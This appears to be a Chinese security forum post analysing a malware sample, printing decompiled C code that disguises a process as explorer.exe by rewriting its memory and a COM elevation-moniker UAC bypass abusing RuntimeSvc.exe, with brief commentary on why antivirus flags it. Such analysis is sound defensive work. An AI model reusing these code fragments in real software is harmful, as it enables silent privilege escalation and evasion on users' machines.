本帖最后由 DisaPDB 于 2024-9-22 14:57 编辑
- int sub_10001210()
- {
- {
- lpBaseAddress = 0;
- memset(v28, 0, 0x38u);
- v20 = 0;
- v21 = 0;
- LibraryA = LoadLibraryA("ntdll.dll");
- NtQueryInformationProcess = (NTSTATUS (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(LibraryA, "NtQueryInformationProcess");
- if ( NtQueryInformationProcess && NtQueryInformationProcess(v1, ProcessBasicInformation, &v5, 24, 0) >= 0 )
- {
- ReadProcessMemory(v1, lpBaseAddress, &Buffer, 0x20u, 0);
- ReadProcessMemory(v1, *(LPCVOID *)((char *)&v15 + 3), &v22, 0x48u, 0);
- v20 = 48;
- WriteProcessMemory(v1, v28[13], L"C:\\windows\\explorer.exe", 0x30u, 0);
- WriteProcessMemory(v1, &v28[12], &v20, 2u, 0);
- v21 = 48;
- WriteProcessMemory(v1, v28[11], L"C:\\windows\\explorer.exe", 0x30u, 0);
- WriteProcessMemory(v1, &v28[10], &v21, 2u, 0);
- CloseHandle(v1);
- return 1;
- }
- else
- {
- return 0;
- }
- }
- return result;
- }
复制代码 从ntdll中取出NtQueryInformationProcess并调用,向explorer.exe写入内存- int __thiscall sub_10001060(void *this)
- {
- memset(&pclsid, 0, sizeof(pclsid));
- memset(&iid, 0, sizeof(iid));
- ppv = 0;
- CLSIDFromString(L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &pclsid);
- IIDFromString(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &iid);
- memset(sz, 0, sizeof(sz));
- memset(pszName, 0, 520);
- CoInitialize(0);
- StringFromGUID2(&pclsid, sz, 260);
- if ( sub_10001000(L"Elevation:Administrator!new:%s", sz) < 0 )
- goto LABEL_4;
- memset(&pBindOptions.grfFlags, 0, 12);
- v7 = 0;
- v9 = 0;
- v10 = 0;
- pBindOptions.cbStruct = 36;
- v11 = 0;
- v8 = 4;
- if ( CoGetObject(pszName, &pBindOptions, &iid, &ppv) < 0
- || (v2 = (*(int (__stdcall **)(void *, void *, const wchar_t *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)ppv + 36))(
- ppv,
- this,
- L"-register abc",
- 0,
- 0,
- 0),
- v3 = 1,
- v2 < 0) )
- {
- LABEL_4:
- v3 = 0;
- }
- if ( ppv )
- (*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 8))(ppv);
- return v3;
- }
复制代码 白利用RuntimeSvc.exe ,这个COM接口估计就是瑞星报UACBypass的原因
|